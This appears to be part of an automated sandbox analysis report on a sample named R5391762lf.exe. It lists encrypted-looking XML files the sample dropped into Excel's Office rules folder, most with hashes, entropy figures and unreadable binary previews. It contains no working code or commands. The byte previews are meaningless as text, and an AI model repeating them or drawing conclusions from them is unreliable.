a17=.=..........6R..G.../..524e/.&~......)..l.B..5...$`...a`.(.=h.@d..T..x....M..z...G....~...t..h.TFEn.QO.m.b...I........`.)tS..`....v..&.[b.t.K7Z.C.^.....].....vr.`.[.u^u...o...}./..n..+.u.T4..\|..]....V(.k.....`.,..../...ge..2W..Z..S(......R.p.).l..C.-...%....../...wg{.._.L2....[....c.]9...5..4.#X............t..T..>.x.+..B.)...(.....e.....9h....K\|n.mwA}{.q.....=.+....4..7.6L..K.p....8..^<T4..%X5........a.b......,..i..j..)U2)..;.R{p..S...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.680077314604471
Encrypted:	false
SSDEEP:	12:DlebMKCy1XpcXEt6cgqV0aBna1qN8EncQueN1G81/84AyYNVHIm8i1DWuXqOTuWX:JeANy1ZYEIu0aBnaXEnbPG81/8Ry4Im7
MD5:	B017C7C34DB43F273DD14C5BBB9B20A7
SHA1:	924586C13B4B3C745D070A40CA63FD5FB885A8A1
SHA-256:	735AF1A830104E4EA7A1AFE0299799003E74A08A311A5189D7B02D582426D6F7
SHA-512:	BBD38261CBE8EF7FE81172C3B790478BCE4067115288FA57E3A1426441149F3DE98E9B1C3725DC855814EDCDA1D6096F97A39AB65029C2EBB93B8C63D4ECE0C9
Malicious:	false
Preview:	<?xml,'}E..DB.Y`.`zNc!Zs.on.._...r...d...[m......h..m#0.Q.I..........>...V.3.>.$YH^..s@.c...........?..!.ey..6.z...,[s..p.6P::....B... 5.}.;Z..K....4!.:.f&'...26......<...OwfU...w..$./ .L..t"....S..D8.....(b..&e..}X.GqJ.....]D.z.;.%.........t;4z)........6.f....w'.F......."....`.V.....?..j..,.1..$bqZ.P...q....He.....t.y.e..OM;.\|...7....JF...E....PH5!. ..N..[.\.D.?.i ...Rr?......\.a\Mb..........?...V..nP.zM}.Hg....H.w#..xx.I.=..#q..4.6s.(..\z.''nT..$.s....N..<..1v.Vc.c.....&...O.O.g..0.z..F..$.Y.A....O...)S....F...h7.yg..Pn.Js...Y...y.KOG..I...>..$`.....';..I.N...3.YMs$.u.._I@......6p....z..y.#hzv.um..DH..c.>......................h...;..A..3.G!doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.728188531603616
Encrypted:	false
SSDEEP:	24:Qs1Euk5Rr9IaA80LX87xUHoS3c6PPtzXq8uWbD:DmVRr9680787iHoS3tPFXFuED
MD5:	1DF4746EC79980CDE1CFB7AE61424576
SHA1:	A91C7C25577361C6C2FB30E0D5022FC4E5E5A879
SHA-256:	34B8BCBBB7CF0A9D257778CDA57314D50CBC09C574B45FF2785EA84FB8409AB9
SHA-512:	78A1B2924E668227DBF6F2A2E36646E5B81A88C9E5F279AD2674F5D09DA94B9FD4D895FAEACA0595773F4DF255A1998A0788EC7BAA1D3850F9862E6493AC1542
Malicious:	false
Preview:	<?xml.....m...O...6g..".?...&J.....V.#......@q.<L./.}....q...>R_...&.&.......Z.S.z.......pQs.&.k....>-..V..c.$.s....1..f"....z..U..J".0...F.F.`....1..R..V.o.{...........UtD.....Q_..!.`f...z.A8'.E.....=.i.h.Sc....".DB.Sj`. ..3...C+N9=.V>.&....5G...(...iE"#_.wcmL.gs.`[.. .."yd.[:7.....2y}..0#....cC.>..n......?]...P..3W.......z..D..$Q;..+..-..k..A..1..P.......W.d0\p...27_....gx...Ih....6H...........T..&r>u..w...B#.I.h....?O....*..Zb.\|.(.a..Qw..&. ...#.......s.].&i...\|.zHb.j..m".7.A...ek...4.h&.-.5E\|].+....v...Z0Q.\A\.....Um..J..@.....v,~..B...<...V...._.c....4.....m.u.s....7!._hPNf~.A..8MakO.#.YG<"..?.W.......L.Q.7..$iTKd.9/.qN........t.o...aU..]!. ...P....!...i]x....@..m..'u.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.747161359929898
Encrypted:	false
SSDEEP:	12:vCM2rJPXOrMTQXS0d0cX+0psB8NZBjfzXQ2LvOE1zu7K6eyKpQW1BH1jus1gJ7a/:vcPXXyddQXBcZ9fzFvOhe6YHIs+tqXq+
MD5:	635A457CE75B49896A5DD4ADC83D9C4A
SHA1:	B7B22FAD796CD7FB08B92C9E9F42CE9216A332BE
SHA-256:	759CDDFBCBEF354F2C8BCA26CD58CDC99A76A0D17D705E391AAA4839166923B0
SHA-512:	9C553404E1FD518F345621CD864ABC783927E4E3517FCF1C7DA45EF96513BA68818853E9D3651EF2A54643FC91BD707269E7500C15895A43ABAE04CD96C93679
Malicious:	false
Preview:	<?xml......G.....]..2,.8..y.q..i.Eu.>.L5h.{..w .!..z@...r.[....Z..s.9n...%]w.......r......H&.4<~.J;.....O."u.'f/..(K+6}...V..\|..Z.Y.3W..q..:.Lh.P9..I........Z.M7:.X....?.]..m..O_-'....$..d..X...............$.S_. ....n..2...[[A.o%....z.Hovm.Im....`+EzcOa...&.I.:..C...N6.py^..gxK...p(o.B......E.`..R...T_98...-BG......<.QE..'..!......."..3..0...4m.y....9.b..E0..HLV..././4eP....?..}^7.%n'.0.....:.A..._}...tbL......~..j.8q.T[.....<M...Z#yw....y.p.x .s..f....:..O5.t..k...y.. ....S..h...J......l..3....P.s.4.@....Q.~.x......J.c..f8.....i.G(Sd.{V~....=.8.nk...".t..L.$..N..jk..g..B)..HEi_....W>fZ.r.......q..\...........4@4.wdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.753079628988927
Encrypted:	false
SSDEEP:	24:uDnFXsygSnQ1FxyCdI9lr3maiHwdq2bPkYROHPkOXq8uWbD:QFXNXnQ1Fxi9QEU8PaPkOXFuED
MD5:	94E956261F82235F77A5D1893D2DB297
SHA1:	C739491578DD3D3CECBA9B0D484160170071CD52
SHA-256:	3F398CC5A94411E783B540F4B5B93B1F8E6E2CDE584A544BA3F5105FCACE9337
SHA-512:	9F1F8ED060FC1E443B10DD378BE860E467A5AEF64B3ED74D41E50A3BE0090F14AB68FF5948EEB73635E0CF88629EBB5B499390486894DFF35E42CA09C738D817
Malicious:	false
Preview:	<?xml?..B..O..%...f.\|tz.A..1.......)T..F..<....`......c..n^....'......vu..9R..e....^..0...9ISF.....>L.^........H..=.%.aP>3$.y....K...Z.oD..A.\|\|........0.c.J..<.......p.!..:.\...w9..h..reT..../..A..&NkZ... `.S...q}...T;...K....\|\."m..q.}...^...o.pA.a.......~.....;..4z..G2!....f!(t..HD..R.........$..U.n5.(...n.g.>.OwV.8&.)..j....1Y..B.&.....A..V.A...[......+.......`...n.R...2....TP.-....6 ...3...g]}...f-C.q.{....M`..D..Tt.Y.r5.]mVo2......G...8..,!LG@c<...5..]....C.{n/2.h.$.u........_U..uC..^-.S.>j0D.4......{.......q-.1...rV9c....h`..r.....#Y5\.[=....\.).A....7...E.R....h...Wz..$.1.qJ........./I....~.p.)et.f.h..[..hS...&....5....O..*...#f..........K,.v.33..&....?)&1<.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.694296461307991
Encrypted:	false
SSDEEP:	12:FcKJzptR/gN7/cKfRB+Qlvozdf6Jzeykl1Mi61Nq6dnTRmZMiaXqOTuWcii9a:uKJzptRYN73fn+eMd6J5kYZPJnT41aXp
MD5:	83E7CA81CEBB41D23F697B387B348F0D
SHA1:	5E9DB941169287B6282B1EA7FBA0BD2E3CF58A14
SHA-256:	63308394248C1878955AAAEA25494D62786CD84F6B53347080A11C707C7180D9
SHA-512:	3F800B58D493822E54AA789D85C11A1302A79EEA6D9440F75D959AC82AAA6766A911C3587C61B2FA536049E80F25B4072C9C75805C55723D9BAED1DB2AEEF959
Malicious:	false
Preview:	<?xml.......;-S......2.$u.r~X..+.l.)..Y...v"......'..>.9p.........c...........u<I.E..YB.8.C..h..........0..^..4{g..iC...t..E.2...~...d...N..../y...........z.X.$,....[v....e.jhQ...h.JC..\|.b.?h34..~Z"........F.(.;?.g.oJ{.>.qA.=..{z...9....%..8:.....W..).L..-N.e....6..-y..].$h.)..Aqy.09&...z........h).4.N..j'5.I..(H.bS.....hb..C.!..!h.....f QOR[..U......W....(.u.0I..C..%Z;...u,......]S..P.^^H...7I....C!..d..+e...,.^....&.....?B%..M3....8n......@,..=7.Cv..$j.;.j..P.ega.b......;.v.+y$.)..3..L...O.......d.TL.V..o......{/........U. ...XK..z.9..b..X.....7..38['..B.p.V.\|\|..f..~v_.4;.0\|..D..zLn5...H..'.\.."/nI..H.......Tdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.714042249591923
Encrypted:	false
SSDEEP:	12:5VnwiVL+0UjC3bXNPseoLT/X1l2lPvDsVMAGrDrm1ttK3TJOFep2XqOTuWcii9a:5Wi+0UCbaJyLm5K3Tae4Xq8uWbD
MD5:	446E92B9CD4E949DB346BE583DE435AC
SHA1:	ABF7F72048BC4938127B79F75FB7F8F2CD1CB239
SHA-256:	004B85D4928EECE7C19FB0782A5E57C9604166CE59BEE4623ADD594E3C7D385A
SHA-512:	8A6A69D37A80108EB08B3A149403B3CCD2B77897771DB82A0103EC3A77E9E6D8B1577D883F207084AE92E261F6A603BE7F0B7F205A7C250B544CDDBA9A3C5459
Malicious:	false
Preview:	<?xmll{...^.o.Q._..#..1t...MMN...{..\|......'c.....X.Ms.m..."...r^....s..`..x......F.t..e..u.(.[.[.ra.h.a...}3.yi....z.T.}........=j......HS..g..#(9.......".X..=&..$.........~.....\O.!"...Pc...X.O.A.>B...40....A...r4..'..G.nN.L.@Jz..../3..Tz.OF\|.md}0...A%...W...}S.2....g.w.....v%(..Q!l$.@......d..q...xZWQ..=.>.}..C.....9..4..C.K0..V...l.......(.nu...}N.....C.eI.V...d...:%AV.}~?.sQ..!]....U..F.Lj...~Gv}x. ..'gE..e.+..;...xv.0.E.#... .79....y. .".m.Om....O.K4<w..%hf.k....m&......El..Ut."Ngc...dgZ.8.t(.p.8.Yg.(g.)...~...6qn..\|@......'....v%e.[.........@;.(....7Z8'~..hL(....2c....o..'._f0.....^l...+/.....%..(.+l...@\|0._G)!{.3.5;...{...X..wt..\.R./=..Z..\..\|..F..;..o.2..........,.S.q..X...-R.3,.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.509189814477628
Encrypted:	false
SSDEEP:	12:oqHgTXtiUCTnsORmgudCO4oRfyW0jDXqOTuWcii9a:oag8DDsiudf7qWGDXq8uWbD
MD5:	49D3E29162A0351D1B1E25BB65817649
SHA1:	9475606459DD94A8EB09308D25F5353251225DB3
SHA-256:	2BC36B1A27510773C2BFFE4B332BBDE8F88A49D74EB9CB06205D45D39071EF35
SHA-512:	24AF4CF5FB3C839C667BCD4255CEBEDEE84033C0E5A0DA21677C29D96A61BD97937CE22A407D0C597CE51CFC149D9012A483202733C6DA25955FDFD55DED7200
Malicious:	false
Preview:	<?xml......1.0.....`..ry..:.7)[..2.U.?.....V....6....>...x.F......0.Qm;..`o...1.u....?J..O.....j(.P$.;.....:.....h.f..L.@....4...KD.~....^=....j$Nq.#.;............;q.....zCO5...V{..,.....X&N...R"..!-4B2b.9t..........>~...C.BQJ.......Q<F...mv...?..#t...s.j./q$..d..Fo...&.7....n..('%.b.RR..u<....u..s..`..T.......EOb;..~.J...U.....+...\l./..}g..U.jR.d._<.G....z..^.YX+X.u.....)vD.aG(.F.X.+.+8.....f....,#&....W.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.91880250851583
Encrypted:	false
SSDEEP:	48:kXUVBNrN4W1yODiJc85xy1Z9DV1h5U/Dx7D1MfGRsx5cgUM2nRrXFuED:kEHpJHiS85x6rV1bULx7pMfV4gUM2nRl
MD5:	FEDB45594A0107D50A7F2BBEA614D014
SHA1:	3B8CA98C7F7155BC21F88CAD88AFA886433333A6
SHA-256:	EF781DBDBE125A3ECAA5E2DFFE063D6F8E8A33689F16A0E87B90872DDDA936FC
SHA-512:	FEDBE92B8A2F4CB8F0C61D38E6FC8B855C1931FAF8EBD284FE00D0D3E0DAEBCA42B594D1CFAF4785B30DBB383CEE7EC76B71959C4926FAEC6646DF620A1413EE
Malicious:	false
Preview:	<?xmlT....O.\|.gZ.Wy.2..IRL.v..:G....v.}g...........md.....%.M.U'gm.....&..J`.....UT.9.<..K...}..$0....w..V.v..#z...`"g~.........@...:...y.0. ..h.......FK.b.D!.J.`..Xt...x..~.g.BP..}j.,-....r.l...B..6.L.^...[.<.P...ak..d.T.......z...2F!S.....h....G.e...A.RM\l)B#...e.u.=...8.+...........\u^..-.40...Y0R.9f.X..z".H.OId..0[...1.U.gIP..[TD...x...H....:..K6...`..+!k.A.&..j.H...,.."G.....1(.9..q.:....l;[.?..}a.-+[ww.q.....W..YF.N.)&...G...bJ..[M{..,........;.&\|..k.H...... ...k.?&.`K..m%.....gPx...O.f....7w..nF...>kq.LQu...nvW....._\.8d.Jfy..jT.J...x....m._........1.. ..\|z.>...r........d(...c...i..F.N3..V7...w.].Ib^..(.q.w...<.G.u..s4..U..}5O.,.e...)....X..Lz.......3qD53......!...`....$.o4l.i.(&..J.U8\@.!$.Q....M .../.eJR.......<m..dp=..Y2.t...9........#Z3a.5.O....s`.Z(..<@..3..0.n.$...xO\|}lE.3t<7-'..k\..12Y...4[...p.{..E.C~X.gu.mp..%.7 4D...gnL,M..e..YAb..._BwI.>Y?=.l$......B}].N.e.m.S. ...3...]..-...}.+;....X....T.@..4.~)9.......\|.....b.../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.853837750927353
Encrypted:	false
SSDEEP:	24:7x9Xgw6xj6T1dj2ouZD7mQ9MvK9g1X+7chsNx6P/lpvClvSYty2E/MAsTKPXq8uQ:73XT6N632o6aQ9My+1ocOedpAvVe5PXp
MD5:	A73C2CCE913C455B58252D512474988E
SHA1:	342F73FB778E4F09CBBBC58E1FB10F9C6C871581
SHA-256:	AA0B907E59AE1357571DD7DEA7AA3017F8669613CAF069844DC369FFD1368C06
SHA-512:	B3397438587E051AE28D0CC242ACF407CFEE5264345920642776ADD6F28F1B7F313B767F398378DAD7FE32D8079D65A3AFE0CA63AE2F24A07B46623F7DAF1E91
Malicious:	false
Preview:	<?xmln[fC.P"ja\'.2.r.....5`..q.(.!X.y_g....}..x.j<.....D.!H...ph6....~gjz.U.&..V.I..o......>5.zu.mT.e...T.N.HjjH..../...=..,E..\...u........=.M.J..R.a...#..6.1T.".......:.1..y.D{}l'oX.....o....z63.M..yAQO...@-.T..o......._...s/..{....)..^.t.+...6'......M..g..."......"..-L.Q...U..I..}.;...q..}.(3./..I..K......H..my...x....$._..).....\|...........I..-.)..G.3O.$..R...f.>...+...f.[.5...x..R...94....'F...%....0.h.RW...L-H........G..j4a.M.>....Z.0O.T.l.e..v..Ycc..y....q...(?.?...... .8......elt..c[.Pt.&o..A.wx.L.G.t.W...jLk..V.s_.....K...^..$4....<A..GZ..C=..U...~03.(....ET....K........(.l~.<..O.@C..r...N.sL.r...J.).b...D.....=?.C,...5..v.^.m:.!..^f..473q..(At...$5..P\E...G...x.>.Q.....w......#..t...........n..\|.)m..i~}.6....]..y.fa..^.2.J....;.....(.W......7.3V.g......x...,&_.]".A.9.lcfpS8......t9q$.QOr;R.L.<.U.sS.jp)d.ZyI97...6..u..g..l$_.S.....%......'.`.U~w.i..D<...{.._.].-D.*0N..._....7..k.zb.....\r9.m.H......X$5Xo.dk.c...]P....\|...^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.705357374090962
Encrypted:	false
SSDEEP:	24:YARBBN79/zLt32aQdOd3i8Sfxhgb6JhbVOsrDGKXq8uWbD:YARnN2jwD6TgeJhxRXGKXFuED
MD5:	C155685AF8864EA48A485D6038542FF2
SHA1:	911536D16172189AA6ABD4FC1235047CFCB22202
SHA-256:	DB1944AB6299C0DC6D14CD5403167C3AD963C8E255D021CBDCE816BC2ED395CC
SHA-512:	7212AFB8C28A70BED2E13BE686D6619087B5208169B1518FA0B6EF235CA40F7F77FDD7D7DE62D4BF1B0359AE19DACD248835797A8F30BB4E01BE5CAB878B9244
Malicious:	false
Preview:	<?xml2..r..M.u..z.20.....G..U...l.Y..../....z...{;.gZ....<K......<p........2.<....r.eC/..'....;.q..c.e....1.!/..n.8..)[6z...\...#.N<..ti.{.{...2.Lk..g.8..+K.;.))..i.2}....W9..H.a..........+.....p.T.A.-5. R.Y....Z.$.?.6O01.VT......')..S..~O.g.O...T...j.......9....#n.^..R......C..0.S[.&.g.E.....Q.Rd7.F`.5..h...1.....2$...0..F.....Z._..2......jb..I..5..K..!#...L]....'..-.....$...gr.@..e88Z..t."..,y.{....~.....-CO.se...b....1Rx4.....W...8..:..... ...4Z.Y.B.3...{B.j.@a>...q.zjMR.._.'..)..w..x?..$....YyJ..w.....b......[...^`s......)...m...2.g.S...]....}.h.n..._t.".k...,q..=s.$...kqc.Z.....Z.....(?l....s.Z.0.+....#.6. k.":r.-..l.'.0>...;..N...o.v..>3.^.85...!......_.f_...4... ....FZ........Jeh..1...E\..f..'..A%doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.600310322310068
Encrypted:	false
SSDEEP:	12:F9+mL7o4Gf6RUwoQzv7F/7dUhk5TzlRanyN38xojAXqOTuWcii9a:2mvAf6RUvShRUgSwswAXq8uWbD
MD5:	FBA54000A6EC3A3AF1D6720FC6FA05DA
SHA1:	8BA3DE48D96FBB1CE4CF3F4D2C72E7EBBAC7A536
SHA-256:	939687BC9D1179FBB9FB87935C2BADCF829D3EC1F8F78CAA2225EB359D7FB5AB
SHA-512:	C813F16CD4EF6B6F4C6B1540328C6807E5E741661EF2F811DC80A4A4BCD61598F67004E625CACE09CF4E76C1B2E9006BDD3DFD192E547334E4048A1164609260
Malicious:	false
Preview:	<?xml."...N........#..m.?G....&..-j.F.....H.....P.H..<..y...........V.._. .[+......1\..U....X.D3.$w ...u.)._......8..7.O=\|..Q.B.)..0.!1..>.\...v..Y.v).g0.r....0r.g..D:\.7...K..e..Z...y.gMT.7].Q.^..8.a[..?.3........M......q.!5.QC!j......a.p..\*\..Q4...W..I...p.].<....$.hLX....&........I.T.I=IA#..s...H...W.6.K.c..k..y..h......e..W...N.....&.C.{f...._...3..~....ba..1].J.....F..r.8....=g.....K+O...K.t.Z.K....By..?'A..;w.3.F.,Er.!...P..-2.SE7.J..#.x...@.S.v{.G2..........o8..Q...s-..I.,..2/.`.../A..D......}.....VJ.>..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.767309811686521
Encrypted:	false
SSDEEP:	24:EHkSnxOOhvYkW44+vLJjS0f/uQYXq8uWbD:EHkIsu4c1WXFuED
MD5:	D3AF03F5DD0DD3F454E8F0CEF4E9730E
SHA1:	639339709228C893371D8BD197F0D9998A289F7E
SHA-256:	ACC8E0F72FF32495BD6E51C8D7945DB022B4563ED146A28947A6FB989EE5F7D3
SHA-512:	DF9ECCEFB71F905543F6EC4EBCA3FC92CE29D9641550B87414A03C49A0AF424BE33E1FE13875CEC0407782A5A44BFF03949A099CE3860D994C9B3EC8DA724B6C
Malicious:	false
Preview:	<?xml.\. ..0...:.W}.....hW..N...R.x.........j8>..........#....!U..f......z.h....B..b. ..H.-...@..0g..}...L>..gbM.i<.!..s..`..W.L.z..\|U.9...p..7..8..^.W..cG.O..w.c$9D.&.,d.a.L.5.X}..%.+o..Tr.{m......Z...V.....^2[....+q......Gs....\|.F.(..>7.[.bU..a.......#.dS.tw...8.=..=[..c..u##...A.8./...].b..7....rR:q.....-.....p&/.%a.r`..@_...)...l....{.).P.k..A...&..kz..7../09a..+..xDC.....&....p..5.x.....1..J...5a...k.x...tj.?.}.Y:N.z...$..HQ........+..t.E.#B!".I`!]..].G.YF..............K.....j-Gs...%..P`....I.."EM...w...l.Sh%u.o......l.t......i......w.sg.&....~?J.o..7Lf...z........I-..p.....h/R.v6..$.?.Q..2.k....g..{......h..O.fs..\|:.K"y}..s .$R..I..{(.......G.....fl..8)+^D.[9.X.t.#.2y\h...-./%e.3Z.&......WX.Am...8lr...x......H...V..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.968835193611557
Encrypted:	false
SSDEEP:	192:Os1ccBiLFboX7V3BL6gsPTRbk8Sz+Wz924GRc/ieQ:rfBQFborV3oTj2+WQ4P/ieQ
MD5:	FCECD59BD16AF6672BD5A25C9A77D0AB
SHA1:	DDADF3E6AFEB9FF3C37219F7002A7A98552C1E6C
SHA-256:	F9A8AAD3E0784EF2E8597188AA05927B7843C2F3E8DD603A131CD594527E2A77
SHA-512:	9717342162A2DDAAA08F5F7212401DB72B74EB244F1FA41C302942D76072FE1D9D6FF216D3875DBE7A6F95EA207739C00A47BA8B713C02BF31E6977DF1D36C78
Malicious:	false
Preview:	<?xmlC?..A......N+..6C.....EU._.n..;.y'H..^......D.cF.Je......,7..nn.5..7J...C..T...[..@....m.'.6....f.:?.N.N!U.........95..(W..7.n.R....)..2..c....G.4\|.9.........}.3'L...X..>...U...B....6. .......;r.u..[...+.l=`&..Ae.+...;.s..&......S....2$.\|r...Hz.p...Q.&~.%^._..m.C.#.7.QR.)./..t....P,..%u".....&..O....%m...b.QR@.n.J.e.\..5.iS....2.gE......=...a..........I.W.[....@H.ln.e.A.m.......D6.}Z\.g..$M.n..{F..o/z.8......f.~R.-..s(^.nQ.p.....v.~-OPX5.'a.<.....h..m....Y.I.....Q.'..U4..B..u5.....)_o..I..........T.m.q..."b)...?..o.I._.}..%d...W......3i.'...9b6....n.&.%z......q..u.fL.C....$.../K.;.....a.3G..0h..Q%.....o....c`...A..'V..%J.F.E..'cZ\|.j........'...1..........r.....ux..........Q..!...BF.q..-..lN.j.....V...Ls..j`....j......]..?...rb.M6...6..\.........+......t?.u\|..p'..o..,.^... s......I...>.}..."l....l....'`d.:...TJ.*GQ......Li.<.E.@;..F#i.@.../..N...EP..9....=}.V...ORP.9.l"ap..I.,u...V.....$..!Y.I.B2.......R~RFR~L)vEN.J.U..vc......>.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.787085203030187
Encrypted:	false
SSDEEP:	24:7qFlThcj52ySf0QejrW/d0tJjFFWagzXq8uWbD:mThcjMyItb/YJvVgzXFuED
MD5:	B82655C5907596A96A5ED6BBBE8AEBBE
SHA1:	A319EB4545A7D57C6CEFF9F0100FCDD76F73F703
SHA-256:	31D622DAF565BB1DF748DDFF9371ABB1C79F21FEA7E22A428A7A5B9249844CFC
SHA-512:	F74A2CB8B288EF97C439CB8991C8B93EFB984CBA15ACC93099D2308FF4597F9AFD7FAA58BF931309F320143E9F8B74D6133DA86697040822F42D529CB65E6B34
Malicious:	false
Preview:	<?xml..K"..... 9?e$R9V'&K.<..\L...........H.2...^..A>~A..\....$...Di_.K..!x....m..@.7......u..2..H!..s\..2'.?a....,......p.4.N.....c.....v....C"d#l.....k...R....:.[...K.o.y..........z...iv...>V..y...../.b..".f.G{+.Q.V.k..._...@.,..!%.T$..eU'.g...CL..Y.F.G.;\....;jBC..^O8...:~....!W.w8.>.t@.@^..JhtC@..w.x..l1...5T<. .L$YJ.w.I&4Y.7.E......... _...$P.......c.f....s.Q#...F....s.R.6....CI.........cu...>b,.%.V...3..2...$@;...+...p..."..c.~.E...=....-#XJRs..9...E2IC##..".Q..~......5X.....H...7S.*r..C/..0.b.l1...>W......y.........i.kM...q...N....z......(..FI5..?E..8.8...+.H.S.....w...J.;o..3\....o.'..H...H.._F.N.m.n..!.......^te...x.(.........L.G..&..nN.P~i..5._...DM..d..F.$..P...v......X....(7.Y..[.Q....Bf...K..fJ..b#...3...W\|.d..Sk...wHD.v.9..M...}?6..6......&.m&...A.w.;.=)_R.$.E.@..%R.uV..p.b...1...x .A..."1.HY..j\DzP...{Z"mD.../....g..T\|b!x~.K+@.R..U....!....u..6V.H7y..9.h...z.GS...._doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.793204101161816
Encrypted:	false
SSDEEP:	24:ZoeSQbWLaKMEsJGGMH/kc+f5bm2WWer11xPMCNhXq8uWbD:Ke931lIkc5HWG17MYhXFuED
MD5:	136E1C8CCDE7A51292799DBD1E84B707
SHA1:	A5326D703B2B1141BBEDD736759FA7A866FC6861
SHA-256:	781FA9B8607C7784CC8180FDA442D58A8E44EB8A0CB308E4233A3C3D21A358CB
SHA-512:	DABECCAA6C292F817D8AFE5E6ED33D8523686E7445BDCF54200075A425F6089134B3C33ACF72D82F2C44C72152BBAE4E935BF4A05623641C468BF4F1B266E4F1
Malicious:	false
Preview:	<?xml..B.HM....r..........K..8.....}..v. ....J...../......y.'....f.m.W.9BQ...q.Z=.,.Mv..jm.w.<...bi....wtl...q\m..o.K.v>.s....'...2..^...NK..9....&....U...02.@...&.Z....-Ob....GU...k........u.. ... v... ..2:2...9.4.o......p:z....K^g..u..cB.7....h.N.2.Z..........?..#..x ...Q..y.(.]...i......v. s.>.?0[..j.XY.N..=Z.]._.C...pQP. .2.#}.......a..b.<.{..M^b..P..`>..<...G.?.........{.t.....Z..%.D+...w......g........<>}...0.k..RW....v......c.L...>..,...ms.".0P..d..Iu.r..l\|.....f.!.E..'...\|..#..nx.cI.Z.?..m...C....~@..r.+L..(.x....y.a@.....Z.]#L..J..7@W...i1$.A5H...\|.k!^...<T.....6..Y\|h.>..z[..v.H....,.8J..{...m./....'...!.+....%....5..#..}V.R.5.t..-..../......(!E..!q.tYf.......le...Zg. .B...D.x..l.[T..$E/.t.I.}.c.P..B.M' ....../"Hz..3..C..W..[.;.be..m.r....*..5.y.......d4.]j%..T.\..V .h/...d."8.1..p.~.C. Iv....x.k..>n.S..8w%n".M.l...c...\5gJ.g./...y6?Ts.o......x..E.gRS..r.2}5f9Rq.`..8>..p.5.:M..........'...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

